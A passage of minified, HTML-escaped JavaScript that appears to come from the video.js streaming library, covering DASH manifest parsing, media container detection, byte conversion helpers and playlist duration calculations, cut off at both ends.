parseInt(value,10)},bandwidth:function(value){return parseInt(value,10)},startNumber:function(value){return parseInt(value,10)},timescale:function(value){return parseInt(value,10)},presentationTimeOffset:function(value){return parseInt(value,10)},duration:function(value){var parsedValue=parseInt(value,10);return isNaN(parsedValue)?parseDuration(value):parsedValue},d:function(value){return parseInt(value,10)},t:function(value){return parseInt(value,10)},r:function(value){return parseInt(value,10)},DEFAULT:function(value){return value}},parseAttributes=function(el){return el&amp;&amp;el.attributes?from(el.attributes).reduce((function(a,e){var parseFn=parsers[e.name]||parsers.DEFAULT;return a[e.name]=parseFn(e.value),a}),{}):{}},keySystemsMap={&quot;urn:uuid:1077efec-c0b2-4d02-ace3-3c1e52e2fb4b&quot;:&quot;org.w3.clearkey&quot;,&quot;urn:uuid:edef8ba9-79d6-4ace-a3c8-27dcd51d21ed&quot;:&quot;com.widevine.alpha&quot;,&quot;urn:uuid:9a04f079-9840-4286-ab92-e65be0885f95&quot;:&quot;com.microsoft.playready&quot;,&quot;urn:uuid:f239e769-efa3-4850-9c16-a903c6932efb&quot;:&quot;com.adobe.primetime&quot;},buildBaseUrls=function(referenceUrls,baseUrlElements){return baseUrlElements.length?flatten(referenceUrls.map((function(reference){return baseUrlElements.map((function(baseUrlElement){return resolveUrl$1(reference,getContent(baseUrlElement))}))}))):referenceUrls},getSegmentInformation=function(adaptationSet){var segmentTemplate=findChildren(adaptationSet,&quot;SegmentTemplate&quot;)[0],segmentList=findChildren(adaptationSet,&quot;SegmentList&quot;)[0],segmentUrls=segmentList&amp;&amp;findChildren(segmentList,&quot;SegmentURL&quot;).map((function(s){return merge({tag:&quot;SegmentURL&quot;},parseAttributes(s))})),segmentBase=findChildren(adaptationSet,&quot;SegmentBase&quot;)[0],segmentTimelineParentNode=segmentList||segmentTemplate,segmentTimeline=segmentTimelineParentNode&amp;&amp;findChildren(segmentTimelineParentNode,&quot;SegmentTimeline&quot;)[0],segmentInitializationParentNode=segmentList||segmentBase||segmentTemplate,segmentInitialization=segmentInitializationParentNode&amp;&amp;findChildren(segmentInitializationParentNode,&quot;Initialization&quot;)[0],template=segmentTemplate&amp;&amp;parseAttributes(segmentTemplate);template&amp;&amp;segmentInitialization?template.initialization=segmentInitialization&amp;&amp;parseAttributes(segmentInitialization):template&amp;&amp;template.initialization&amp;&amp;(template.initialization={sourceURL:template.initialization});var segmentInfo={template:template,segmentTimeline:segmentTimeline&amp;&amp;findChildren(segmentTimeline,&quot;S&quot;).map((function(s){return parseAttributes(s)})),list:segmentList&amp;&amp;merge(parseAttributes(segmentList),{segmentUrls:segmentUrls,initialization:parseAttributes(segmentInitialization)}),base:segmentBase&amp;&amp;merge(parseAttributes(segmentBase),{initialization:parseAttributes(segmentInitialization)})};return Object.keys(segmentInfo).forEach((function(key){segmentInfo[key]||delete segmentInfo[key]})),segmentInfo},toRepresentations=function(periodAttributes,periodBaseUrls,periodSegmentInfo){return function(adaptationSet){var service,adaptationSetAttributes=parseAttributes(adaptationSet),adaptationSetBaseUrls=buildBaseUrls(periodBaseUrls,findChildren(adaptationSet,&quot;BaseURL&quot;)),role=findChildren(adaptationSet,&quot;Role&quot;)[0],roleAttributes={role:parseAttributes(role)},attrs=merge(periodAttributes,adaptationSetAttributes,roleAttributes),accessibility=findChildren(adaptationSet,&quot;Accessibility&quot;)[0],captionServices=&quot;urn:scte:dash:cc:cea-608:2015&quot;===(service=parseAttributes(accessibility)).schemeIdUri?(&quot;string&quot;!=typeof service.value?[]:service.value.split(&quot;;&quot;)).map((function(value){var channel,language;if(language=value,/^CC\d=/.test(value)){var _value$split=value.split(&quot;=&quot;);channel=_value$split[0],language=_value$split[1]}else/^CC\d$/.test(value)&amp;&amp;(channel=value);return{channel:channel,language:language}})):&quot;urn:scte:dash:cc:cea-708:2015&quot;===service.schemeIdUri?(&quot;string&quot;!=typeof service.value?[]:service.value.split(&quot;;&quot;)).map((function(value){var flags={channel:void 0,language:void 0,aspectRatio:1,easyReader:0,&quot;3D&quot;:0};if(/=/.test(value)){var _value$split2=value.split(&quot;=&quot;),channel=_value$split2[0],_value$split2$=_value$split2[1],opts=void 0===_value$split2$?&quot;&quot;:_value$split2$;flags.channel=channel,flags.language=value,opts.split(&quot;,&quot;).forEach((function(opt){var _opt$split=opt.split(&quot;:&quot;),name=_opt$split[0],val=_opt$split[1];&quot;lang&quot;===name?flags.language=val:&quot;er&quot;===name?flags.easyReader=Number(val):&quot;war&quot;===name?flags.aspectRatio=Number(val):&quot;3D&quot;===name&amp;&amp;(flags[&quot;3D&quot;]=Number(val))}))}else flags.language=value;return flags.channel&amp;&amp;(flags.channel=&quot;SERVICE&quot;+flags.channel),flags})):void 0;captionServices&amp;&amp;(attrs=merge(attrs,{captionServices:captionServices}));var label=findChildren(adaptationSet,&quot;Label&quot;)[0];if(label&amp;&amp;label.childNodes.length){var labelVal=label.childNodes[0].nodeValue.trim();attrs=merge(attrs,{label:labelVal})}var contentProtection=findChildren(adaptationSet,&quot;ContentProtection&quot;).reduce((function(acc,node){var attributes=parseAttributes(node),keySystem=keySystemsMap[attributes.schemeIdUri];if(keySystem){acc[keySystem]={attributes:attributes};var psshNode=findChildren(node,&quot;cenc:pssh&quot;)[0];if(psshNode){var pssh=getContent(psshNode),psshBuffer=pssh&amp;&amp;decodeB64ToUint8Array(pssh);acc[keySystem].pssh=psshBuffer}}return acc}),{});Object.keys(contentProtection).length&amp;&amp;(attrs=merge(attrs,{contentProtection:contentProtection}));var segmentInfo=getSegmentInformation(adaptationSet),representations=findChildren(adaptationSet,&quot;Representation&quot;),adaptationSetSegmentInfo=merge(periodSegmentInfo,segmentInfo);return flatten(representations.map(function(adaptationSetAttributes,adaptationSetBaseUrls,adaptationSetSegmentInfo){return function(representation){var repBaseUrlElements=findChildren(representation,&quot;BaseURL&quot;),repBaseUrls=buildBaseUrls(adaptationSetBaseUrls,repBaseUrlElements),attributes=merge(adaptationSetAttributes,parseAttributes(representation)),representationSegmentInfo=getSegmentInformation(representation);return repBaseUrls.map((function(baseUrl){return{segmentInfo:merge(adaptationSetSegmentInfo,representationSegmentInfo),attributes:merge(attributes,{baseUrl:baseUrl})}}))}}(attrs,adaptationSetBaseUrls,adaptationSetSegmentInfo)))}},toAdaptationSets=function(mpdAttributes,mpdBaseUrls){return function(period,index){var periodBaseUrls=buildBaseUrls(mpdBaseUrls,findChildren(period.node,&quot;BaseURL&quot;)),parsedPeriodId=parseInt(period.attributes.id,10),periodIndex=window.isNaN(parsedPeriodId)?index:parsedPeriodId,periodAttributes=merge(mpdAttributes,{periodIndex:periodIndex,periodStart:period.attributes.start});&quot;number&quot;==typeof period.attributes.duration&amp;&amp;(periodAttributes.periodDuration=period.attributes.duration);var adaptationSets=findChildren(period.node,&quot;AdaptationSet&quot;),periodSegmentInfo=getSegmentInformation(period.node);return flatten(adaptationSets.map(toRepresentations(periodAttributes,periodBaseUrls,periodSegmentInfo)))}},stringToMpdXml=function(manifestString){if(&quot;&quot;===manifestString)throw new Error(errors_DASH_EMPTY_MANIFEST);var xml,mpd,parser=new DOMParser;try{mpd=(xml=parser.parseFromString(manifestString,&quot;application/xml&quot;))&amp;&amp;&quot;MPD&quot;===xml.documentElement.tagName?xml.documentElement:null}catch(e){}if(!mpd||mpd&amp;&amp;mpd.getElementsByTagName(&quot;parsererror&quot;).length&gt;0)throw new Error(errors_DASH_INVALID_XML);return mpd},parse=function(manifestString,options){void 0===options&amp;&amp;(options={});var parsedManifestInfo=function(mpd,options){void 0===options&amp;&amp;(options={});var _options=options,_options$manifestUri=_options.manifestUri,manifestUri=void 0===_options$manifestUri?&quot;&quot;:_options$manifestUri,_options$NOW=_options.NOW,NOW=void 0===_options$NOW?Date.now():_options$NOW,_options$clientOffset=_options.clientOffset,clientOffset=void 0===_options$clientOffset?0:_options$clientOffset,periodNodes=findChildren(mpd,&quot;Period&quot;);if(!periodNodes.length)throw new Error(errors_INVALID_NUMBER_OF_PERIOD);var locations=findChildren(mpd,&quot;Location&quot;),mpdAttributes=parseAttributes(mpd),mpdBaseUrls=buildBaseUrls([manifestUri],findChildren(mpd,&quot;BaseURL&quot;));mpdAttributes.type=mpdAttributes.type||&quot;static&quot;,mpdAttributes.sourceDuration=mpdAttributes.mediaPresentationDuration||0,mpdAttributes.NOW=NOW,mpdAttributes.clientOffset=clientOffset,locations.length&amp;&amp;(mpdAttributes.locations=locations.map(getContent));var periods=[];return periodNodes.forEach((function(node,index){var attributes=parseAttributes(node),priorPeriod=periods[index-1];attributes.start=function(_ref){var attributes=_ref.attributes,priorPeriodAttributes=_ref.priorPeriodAttributes,mpdType=_ref.mpdType;return&quot;number&quot;==typeof attributes.start?attributes.start:priorPeriodAttributes&amp;&amp;&quot;number&quot;==typeof priorPeriodAttributes.start&amp;&amp;&quot;number&quot;==typeof priorPeriodAttributes.duration?priorPeriodAttributes.start+priorPeriodAttributes.duration:priorPeriodAttributes||&quot;static&quot;!==mpdType?null:0}({attributes:attributes,priorPeriodAttributes:priorPeriod?priorPeriod.attributes:null,mpdType:mpdAttributes.type}),periods.push({node:node,attributes:attributes})})),{locations:mpdAttributes.locations,representationInfo:flatten(periods.map(toAdaptationSets(mpdAttributes,mpdBaseUrls)))}}(stringToMpdXml(manifestString),options),playlists=parsedManifestInfo.representationInfo.map(generateSegments);return toM3u8(playlists,parsedManifestInfo.locations,options.sidxMapping)},parseUTCTiming=function(manifestString){return function(mpd){var UTCTimingNode=findChildren(mpd,&quot;UTCTiming&quot;)[0];if(!UTCTimingNode)return null;var attributes=parseAttributes(UTCTimingNode);switch(attributes.schemeIdUri){case&quot;urn:mpeg:dash:utc:http-head:2014&quot;:case&quot;urn:mpeg:dash:utc:http-head:2012&quot;:attributes.method=&quot;HEAD&quot;;break;case&quot;urn:mpeg:dash:utc:http-xsdate:2014&quot;:case&quot;urn:mpeg:dash:utc:http-iso:2014&quot;:case&quot;urn:mpeg:dash:utc:http-xsdate:2012&quot;:case&quot;urn:mpeg:dash:utc:http-iso:2012&quot;:attributes.method=&quot;GET&quot;;break;case&quot;urn:mpeg:dash:utc:direct:2014&quot;:case&quot;urn:mpeg:dash:utc:direct:2012&quot;:attributes.method=&quot;DIRECT&quot;,attributes.value=Date.parse(attributes.value);break;default:throw new Error(errors_UNSUPPORTED_UTC_TIMING_SCHEME)}return attributes}(stringToMpdXml(manifestString))},MAX_UINT32=Math.pow(2,32),parseSidx_1=function(data){var view=new DataView(data.buffer,data.byteOffset,data.byteLength),result={version:data[0],flags:new Uint8Array(data.subarray(1,4)),references:[],referenceId:view.getUint32(4),timescale:view.getUint32(8)},i=12;0===result.version?(result.earliestPresentationTime=view.getUint32(i),result.firstOffset=view.getUint32(i+4),i+=8):(result.earliestPresentationTime=view.getUint32(i)*MAX_UINT32+view.getUint32(i+4),result.firstOffset=view.getUint32(i+8)*MAX_UINT32+view.getUint32(i+12),i+=16),i+=2;var referenceCount=view.getUint16(i);for(i+=2;referenceCount&gt;0;i+=12,referenceCount--)result.references.push({referenceType:(128&amp;data[i])&gt;&gt;&gt;7,referencedSize:2147483647&amp;view.getUint32(i),subsegmentDuration:view.getUint32(i+4),startsWithSap:!!(128&amp;data[i+8]),sapType:(112&amp;data[i+8])&gt;&gt;&gt;4,sapDeltaTime:268435455&amp;view.getUint32(i+8)});return result},toUint8=function(bytes){return bytes instanceof Uint8Array?bytes:(Array.isArray(bytes)||(obj=bytes,ArrayBuffer.isView(obj))||bytes instanceof ArrayBuffer||(bytes=&quot;number&quot;!=typeof bytes||&quot;number&quot;==typeof bytes&amp;&amp;bytes!=bytes?0:[bytes]),new Uint8Array(bytes&amp;&amp;bytes.buffer||bytes,bytes&amp;&amp;bytes.byteOffset||0,bytes&amp;&amp;bytes.byteLength||0));var obj},BigInt=window.BigInt||Number,BYTE_TABLE=[BigInt(&quot;0x1&quot;),BigInt(&quot;0x100&quot;),BigInt(&quot;0x10000&quot;),BigInt(&quot;0x1000000&quot;),BigInt(&quot;0x100000000&quot;),BigInt(&quot;0x10000000000&quot;),BigInt(&quot;0x1000000000000&quot;),BigInt(&quot;0x100000000000000&quot;),BigInt(&quot;0x10000000000000000&quot;)],bytesToNumber=function(bytes,_temp){var _ref=void 0===_temp?{}:_temp,_ref$signed=_ref.signed,signed=void 0!==_ref$signed&amp;&amp;_ref$signed,_ref$le=_ref.le,le=void 0!==_ref$le&amp;&amp;_ref$le;bytes=toUint8(bytes);var fn=le?&quot;reduce&quot;:&quot;reduceRight&quot;,number=(bytes[fn]?bytes[fn]:Array.prototype[fn]).call(bytes,(function(total,_byte,i){var exponent=le?i:Math.abs(i+1-bytes.length);return total+BigInt(_byte)*BYTE_TABLE[exponent]}),BigInt(0));if(signed){var max=BYTE_TABLE[bytes.length]/BigInt(2)-BigInt(1);(number=BigInt(number))&gt;max&amp;&amp;(number-=max,number-=max,number-=BigInt(2))}return Number(number)},numberToBytes=function(number,_temp2){var _ref2$le=(void 0===_temp2?{}:_temp2).le,le=void 0!==_ref2$le&amp;&amp;_ref2$le;(&quot;bigint&quot;!=typeof number&amp;&amp;&quot;number&quot;!=typeof number||&quot;number&quot;==typeof number&amp;&amp;number!=number)&amp;&amp;(number=0),number=BigInt(number);for(var x,byteCount=(x=number,Math.ceil(function(x){return x.toString(2).length}(x)/8)),bytes=new Uint8Array(new ArrayBuffer(byteCount)),i=0;i&lt;byteCount;i++){var byteIndex=le?i:Math.abs(i+1-bytes.length);bytes[byteIndex]=Number(number/BYTE_TABLE[i]&amp;BigInt(255)),number&lt;0&amp;&amp;(bytes[byteIndex]=Math.abs(~bytes[byteIndex]),bytes[byteIndex]-=0===i?1:2)}return bytes},stringToBytes=function(string,stringIsBytes){if(&quot;string&quot;!=typeof string&amp;&amp;string&amp;&amp;&quot;function&quot;==typeof string.toString&amp;&amp;(string=string.toString()),&quot;string&quot;!=typeof string)return new Uint8Array;stringIsBytes||(string=unescape(encodeURIComponent(string)));for(var view=new Uint8Array(string.length),i=0;i&lt;string.length;i++)view[i]=string.charCodeAt(i);return view},bytesMatch=function(a,b,_temp3){var _ref3=void 0===_temp3?{}:_temp3,_ref3$offset=_ref3.offset,offset=void 0===_ref3$offset?0:_ref3$offset,_ref3$mask=_ref3.mask,mask=void 0===_ref3$mask?[]:_ref3$mask;a=toUint8(a);var fn=(b=toUint8(b)).every?b.every:Array.prototype.every;return b.length&amp;&amp;a.length-offset&gt;=b.length&amp;&amp;fn.call(b,(function(bByte,i){return bByte===(mask[i]?mask[i]&amp;a[offset+i]:a[offset+i])}))},ID3=toUint8([73,68,51]),getId3Offset=function getId3Offset(bytes,offset){return void 0===offset&amp;&amp;(offset=0),(bytes=toUint8(bytes)).length-offset&lt;10||!bytesMatch(bytes,ID3,{offset:offset})?offset:(offset+=function(bytes,offset){void 0===offset&amp;&amp;(offset=0);var flags=(bytes=toUint8(bytes))[offset+5],returnSize=bytes[offset+6]&lt;&lt;21|bytes[offset+7]&lt;&lt;14|bytes[offset+8]&lt;&lt;7|bytes[offset+9];return(16&amp;flags)&gt;&gt;4?returnSize+20:returnSize+10}(bytes,offset),getId3Offset(bytes,offset))},normalizePath$1=function(path){return&quot;string&quot;==typeof path?stringToBytes(path):path},findBox=function findBox(bytes,paths,complete){void 0===complete&amp;&amp;(complete=!1),paths=function(paths){return Array.isArray(paths)?paths.map((function(p){return normalizePath$1(p)})):[normalizePath$1(paths)]}(paths),bytes=toUint8(bytes);var results=[];if(!paths.length)return results;for(var i=0;i&lt;bytes.length;){var size=(bytes[i]&lt;&lt;24|bytes[i+1]&lt;&lt;16|bytes[i+2]&lt;&lt;8|bytes[i+3])&gt;&gt;&gt;0,type=bytes.subarray(i+4,i+8);if(0===size)break;var end=i+size;if(end&gt;bytes.length){if(complete)break;end=bytes.length}var data=bytes.subarray(i+8,end);bytesMatch(type,paths[0])&amp;&amp;(1===paths.length?results.push(data):results.push.apply(results,findBox(data,paths.slice(1),complete))),i=end}return results},EBML_TAGS={EBML:toUint8([26,69,223,163]),DocType:toUint8([66,130]),Segment:toUint8([24,83,128,103]),SegmentInfo:toUint8([21,73,169,102]),Tracks:toUint8([22,84,174,107]),Track:toUint8([174]),TrackNumber:toUint8([215]),DefaultDuration:toUint8([35,227,131]),TrackEntry:toUint8([174]),TrackType:toUint8([131]),FlagDefault:toUint8([136]),CodecID:toUint8([134]),CodecPrivate:toUint8([99,162]),VideoTrack:toUint8([224]),AudioTrack:toUint8([225]),Cluster:toUint8([31,67,182,117]),Timestamp:toUint8([231]),TimestampScale:toUint8([42,215,177]),BlockGroup:toUint8([160]),BlockDuration:toUint8([155]),Block:toUint8([161]),SimpleBlock:toUint8([163])},LENGTH_TABLE=[128,64,32,16,8,4,2,1],getvint=function(bytes,offset,removeLength,signed){void 0===removeLength&amp;&amp;(removeLength=!0),void 0===signed&amp;&amp;(signed=!1);var length=function(_byte){for(var len=1,i=0;i&lt;LENGTH_TABLE.length&amp;&amp;!(_byte&amp;LENGTH_TABLE[i]);i++)len++;return len}(bytes[offset]),valueBytes=bytes.subarray(offset,offset+length);return removeLength&amp;&amp;((valueBytes=Array.prototype.slice.call(bytes,offset,offset+length))[0]^=LENGTH_TABLE[length-1]),{length:length,value:bytesToNumber(valueBytes,{signed:signed}),bytes:valueBytes}},normalizePath=function normalizePath(path){return&quot;string&quot;==typeof path?path.match(/.{1,2}/g).map((function(p){return normalizePath(p)})):&quot;number&quot;==typeof path?numberToBytes(path):path},getInfinityDataSize=function getInfinityDataSize(id,bytes,offset){if(offset&gt;=bytes.length)return bytes.length;var innerid=getvint(bytes,offset,!1);if(bytesMatch(id.bytes,innerid.bytes))return offset;var dataHeader=getvint(bytes,offset+innerid.length);return getInfinityDataSize(id,bytes,offset+dataHeader.length+dataHeader.value+innerid.length)},findEbml=function findEbml(bytes,paths){paths=function(paths){return Array.isArray(paths)?paths.map((function(p){return normalizePath(p)})):[normalizePath(paths)]}(paths),bytes=toUint8(bytes);var results=[];if(!paths.length)return results;for(var i=0;i&lt;bytes.length;){var id=getvint(bytes,i,!1),dataHeader=getvint(bytes,i+id.length),dataStart=i+id.length+dataHeader.length;127===dataHeader.value&amp;&amp;(dataHeader.value=getInfinityDataSize(id,bytes,dataStart),dataHeader.value!==bytes.length&amp;&amp;(dataHeader.value-=dataStart));var dataEnd=dataStart+dataHeader.value&gt;bytes.length?bytes.length:dataStart+dataHeader.value,data=bytes.subarray(dataStart,dataEnd);bytesMatch(paths[0],id.bytes)&amp;&amp;(1===paths.length?results.push(data):results=results.concat(findEbml(data,paths.slice(1)))),i+=id.length+dataHeader.length+data.length}return results},NAL_TYPE_ONE=toUint8([0,0,0,1]),NAL_TYPE_TWO=toUint8([0,0,1]),EMULATION_PREVENTION=toUint8([0,0,3]),discardEmulationPreventionBytes=function(bytes){for(var positions=[],i=1;i&lt;bytes.length-2;)bytesMatch(bytes.subarray(i,i+3),EMULATION_PREVENTION)&amp;&amp;(positions.push(i+2),i++),i++;if(0===positions.length)return bytes;var newLength=bytes.length-positions.length,newData=new Uint8Array(newLength),sourceIndex=0;for(i=0;i&lt;newLength;sourceIndex++,i++)sourceIndex===positions[0]&amp;&amp;(sourceIndex++,positions.shift()),newData[i]=bytes[sourceIndex];return newData},findNal=function(bytes,dataType,types,nalLimit){void 0===nalLimit&amp;&amp;(nalLimit=1/0),bytes=toUint8(bytes),types=[].concat(types);for(var nalStart,i=0,nalsFound=0;i&lt;bytes.length&amp;&amp;(nalsFound&lt;nalLimit||nalStart);){var nalOffset=void 0;if(bytesMatch(bytes.subarray(i),NAL_TYPE_ONE)?nalOffset=4:bytesMatch(bytes.subarray(i),NAL_TYPE_TWO)&amp;&amp;(nalOffset=3),nalOffset){if(nalsFound++,nalStart)return discardEmulationPreventionBytes(bytes.subarray(nalStart,i));var nalType=void 0;&quot;h264&quot;===dataType?nalType=31&amp;bytes[i+nalOffset]:&quot;h265&quot;===dataType&amp;&amp;(nalType=bytes[i+nalOffset]&gt;&gt;1&amp;63),-1!==types.indexOf(nalType)&amp;&amp;(nalStart=i+nalOffset),i+=nalOffset+(&quot;h264&quot;===dataType?1:2)}else i++}return bytes.subarray(0,0)},CONSTANTS={webm:toUint8([119,101,98,109]),matroska:toUint8([109,97,116,114,111,115,107,97]),flac:toUint8([102,76,97,67]),ogg:toUint8([79,103,103,83]),ac3:toUint8([11,119]),riff:toUint8([82,73,70,70]),avi:toUint8([65,86,73]),wav:toUint8([87,65,86,69]),&quot;3gp&quot;:toUint8([102,116,121,112,51,103]),mp4:toUint8([102,116,121,112]),fmp4:toUint8([115,116,121,112]),mov:toUint8([102,116,121,112,113,116]),moov:toUint8([109,111,111,118]),moof:toUint8([109,111,111,102])},_isLikely={aac:function(bytes){var offset=getId3Offset(bytes);return bytesMatch(bytes,[255,16],{offset:offset,mask:[255,22]})},mp3:function(bytes){var offset=getId3Offset(bytes);return bytesMatch(bytes,[255,2],{offset:offset,mask:[255,6]})},webm:function(bytes){var docType=findEbml(bytes,[EBML_TAGS.EBML,EBML_TAGS.DocType])[0];return bytesMatch(docType,CONSTANTS.webm)},mkv:function(bytes){var docType=findEbml(bytes,[EBML_TAGS.EBML,EBML_TAGS.DocType])[0];return bytesMatch(docType,CONSTANTS.matroska)},mp4:function(bytes){return!_isLikely[&quot;3gp&quot;](bytes)&amp;&amp;!_isLikely.mov(bytes)&amp;&amp;(!(!bytesMatch(bytes,CONSTANTS.mp4,{offset:4})&amp;&amp;!bytesMatch(bytes,CONSTANTS.fmp4,{offset:4}))||(!(!bytesMatch(bytes,CONSTANTS.moof,{offset:4})&amp;&amp;!bytesMatch(bytes,CONSTANTS.moov,{offset:4}))||void 0))},mov:function(bytes){return bytesMatch(bytes,CONSTANTS.mov,{offset:4})},&quot;3gp&quot;:function(bytes){return bytesMatch(bytes,CONSTANTS[&quot;3gp&quot;],{offset:4})},ac3:function(bytes){var offset=getId3Offset(bytes);return bytesMatch(bytes,CONSTANTS.ac3,{offset:offset})},ts:function(bytes){if(bytes.length&lt;189&amp;&amp;bytes.length&gt;=1)return 71===bytes[0];for(var i=0;i+188&lt;bytes.length&amp;&amp;i&lt;188;){if(71===bytes[i]&amp;&amp;71===bytes[i+188])return!0;i+=1}return!1},flac:function(bytes){var offset=getId3Offset(bytes);return bytesMatch(bytes,CONSTANTS.flac,{offset:offset})},ogg:function(bytes){return bytesMatch(bytes,CONSTANTS.ogg)},avi:function(bytes){return bytesMatch(bytes,CONSTANTS.riff)&amp;&amp;bytesMatch(bytes,CONSTANTS.avi,{offset:8})},wav:function(bytes){return bytesMatch(bytes,CONSTANTS.riff)&amp;&amp;bytesMatch(bytes,CONSTANTS.wav,{offset:8})},h264:function(bytes){return function(bytes,type,nalLimit){return findNal(bytes,&quot;h264&quot;,type,nalLimit)}(bytes,7,3).length},h265:function(bytes){return function(bytes,type,nalLimit){return findNal(bytes,&quot;h265&quot;,type,nalLimit)}(bytes,[32,33],3).length}},isLikelyTypes=Object.keys(_isLikely).filter((function(t){return&quot;ts&quot;!==t&amp;&amp;&quot;h264&quot;!==t&amp;&amp;&quot;h265&quot;!==t})).concat([&quot;ts&quot;,&quot;h264&quot;,&quot;h265&quot;]);isLikelyTypes.forEach((function(type){var isLikelyFn=_isLikely[type];_isLikely[type]=function(bytes){return isLikelyFn(toUint8(bytes))}}));var secondsToVideoTs,secondsToAudioTs,videoTsToSeconds,audioTsToSeconds,isLikely=_isLikely,detectContainerForBytes=function(bytes){bytes=toUint8(bytes);for(var i=0;i&lt;isLikelyTypes.length;i++){var type=isLikelyTypes[i];if(isLikely[type](bytes))return type}return&quot;&quot;};secondsToVideoTs=function(seconds){return 9e4*seconds},secondsToAudioTs=function(seconds,sampleRate){return seconds*sampleRate},videoTsToSeconds=function(timestamp){return timestamp/9e4},audioTsToSeconds=function(timestamp,sampleRate){return timestamp/sampleRate};var clock_1=9e4,resolveUrl=function(baseUrl,relativeUrl){if(/^[a-z]+:/i.test(relativeUrl))return relativeUrl;/^data:/.test(baseUrl)&amp;&amp;(baseUrl=window.location&amp;&amp;window.location.href||&quot;&quot;);var nativeURL=&quot;function&quot;==typeof window.URL,protocolLess=/^\/\//.test(baseUrl),removeLocation=!window.location&amp;&amp;!/\/\//i.test(baseUrl);if(nativeURL?baseUrl=new window.URL(baseUrl,window.location||&quot;http://example.com&quot;):/\/\//i.test(baseUrl)||(baseUrl=urlToolkit.buildAbsoluteURL(window.location&amp;&amp;window.location.href||&quot;&quot;,baseUrl)),nativeURL){var newUrl=new URL(relativeUrl,baseUrl);return removeLocation?newUrl.href.slice(&quot;http://example.com&quot;.length):protocolLess?newUrl.href.slice(newUrl.protocol.length):newUrl.href}return urlToolkit.buildAbsoluteURL(baseUrl,relativeUrl)},resolveManifestRedirect=function(handleManifestRedirect,url,req){return handleManifestRedirect&amp;&amp;req&amp;&amp;req.responseURL&amp;&amp;url!==req.responseURL?req.responseURL:url},logger=function(source){return videojs.log.debug?videojs.log.debug.bind(videojs,&quot;VHS:&quot;,source+&quot; &gt;&quot;):function(){}},filterRanges=function(timeRanges,predicate){var i,results=[];if(timeRanges&amp;&amp;timeRanges.length)for(i=0;i&lt;timeRanges.length;i++)predicate(timeRanges.start(i),timeRanges.end(i))&amp;&amp;results.push([timeRanges.start(i),timeRanges.end(i)]);return videojs.createTimeRanges(results)},findRange=function(buffered,time){return filterRanges(buffered,(function(start,end){return start-.1&lt;=time&amp;&amp;end+.1&gt;=time}))},findNextRange=function(timeRanges,time){return filterRanges(timeRanges,(function(start){return start-.03333333333333333&gt;=time}))},printableRange=function(range){var strArr=[];if(!range||!range.length)return&quot;&quot;;for(var i=0;i&lt;range.length;i++)strArr.push(range.start(i)+&quot; =&gt; &quot;+range.end(i));return strArr.join(&quot;, &quot;)},timeRangesToArray=function(timeRanges){for(var timeRangesList=[],i=0;i&lt;timeRanges.length;i++)timeRangesList.push({start:timeRanges.start(i),end:timeRanges.end(i)});return timeRangesList},lastBufferedEnd=function(a){if(a&amp;&amp;a.length&amp;&amp;a.end)return a.end(a.length-1)},timeAheadOf=function(range,startTime){var time=0;if(!range||!range.length)return time;for(var i=0;i&lt;range.length;i++){var start=range.start(i),end=range.end(i);startTime&gt;end||(time+=startTime&gt;start&amp;&amp;startTime&lt;=end?end-startTime:end-start)}return time},createTimeRange=videojs.createTimeRange,segmentDurationWithParts=function(playlist,segment){if(!segment.preload)return segment.duration;var result=0;return(segment.parts||[]).forEach((function(p){result+=p.duration})),(segment.preloadHints||[]).forEach((function(p){&quot;PART&quot;===p.type&amp;&amp;(result+=playlist.partTargetDuration)})),result},getPartsAndSegments=function(playlist){return(playlist.segments||[]).reduce((function(acc,segment,si){return segment.parts?segment.parts.forEach((function(part,pi){acc.push({duration:part.duration,segmentIndex:si,partIndex:pi,part:part,segment:segment})})):acc.push({duration:segment.duration,segmentIndex:si,partIndex:null,segment:segment,part:null}),acc}),[])},getLastParts=function(media){var lastSegment=media.segments&amp;&amp;media.segments.length&amp;&amp;media.segments[media.segments.length-1];return lastSegment&amp;&amp;lastSegment.parts||[]},getKnownPartCount=function(_ref){var preloadSegment=_ref.preloadSegment;if(preloadSegment){var parts=preloadSegment.parts,partCount=(preloadSegment.preloadHints||[]).reduce((function(count,hint){return count+(&quot;PART&quot;===hint.type?1:0)}),0);return partCount+=parts&amp;&amp;parts.length?parts.length:0}},liveEdgeDelay=function(master,media){if(media.endList)return 0;if(master&amp;&amp;master.suggestedPresentationDelay)return master.suggestedPresentationDelay;var hasParts=getLastParts(media).length&gt;0;return hasParts&amp;&amp;media.serverControl&amp;&amp;media.serverControl.partHoldBack?media.serverControl.partHoldBack:hasParts&amp;&amp;media.partTargetDuration?3*media.partTargetDuration:media.serverControl&amp;&amp;media.serverControl.holdBack?media.serverControl.holdBack:media.targetDuration?3*media.targetDuration:0},intervalDuration=function(playlist,endSequence,expired){if(void 0===endSequence&amp;&amp;(endSequence=playlist.mediaSequence+playlist.segments.length),endSequence&lt;playlist.mediaSequence)return 0;var backward=function(playlist,endSequence){var result=0,i=endSequence-playlist.mediaSequence,segment=playlist.segments[i];if(segment){if(void 0!==segment.start)return{result:segment.start,precise:!0};if(void 0!==segment.end)return{result:segment.end-segment.duration,precise:!0}}for(;i--;){if(void 0!==(segment=playlist.segments[i]).end)return{result:result+segment.end,precise:!0};if(result+=segmentDurationWithParts(playlist,segment),void 0!==segment.start)return{result:result+segment.start,precise:!0}}return{result:result,precise:!1}}(playlist,endSequence);if(backward.precise)return backward.result;var forward=function(playlist,endSequence){for(var segment,result=0,i=endSequence-playlist.mediaSequence;i&lt;playlist.segments.length;i++){if(void 0!==(segment=playlist.segments[i]).start)return{result:segment.start-result,precise:!0};if(result+=segmentDurationWithParts(playlist,segment),void 0!==segment.end)return{result:segment.end-result,precise:!0}}return{result:-1,precise:!1}}(playlist,endSequence);return forward.precise?forward.result:backward.result+expired},duration=function(playlist,endSequence,expired){if(!playlist)return 0;if(&quot;number&quot;!=typeof expired&amp;&amp;(expired=0),void 0===endSequence){if(playlist.totalDuration)return playlist.totalDuration;if(!playlist.endList)return window.Infinity}return intervalDuration(playlist,endSequence,expired)},sumDurations=function(_ref2){var defaultDuration=_ref2.defaultDuration,durationList=_ref2.durationList,startIndex=_ref2.startIndex,endIndex=_ref2.endIndex,durations=0;if(startIndex&gt;endIndex){var _ref3=[endIndex,startIndex];startIndex=_ref3[0],endIndex=_ref3[1]}if(startIndex&lt;0){for(var i=startIndex;i&lt;Math.min(0,endIndex);i++)durations+=defaultDuration;startIndex=0}for(var _i=startIndex;_i&lt;endIndex;_i++)durations+=durationList[_i].duration;return durations},playlistEnd=function(playlist,expired,useSafeLiveEnd,liveEdgePadding){if(!playlist||!playlist.segments)return null;if(playlist.endList)return 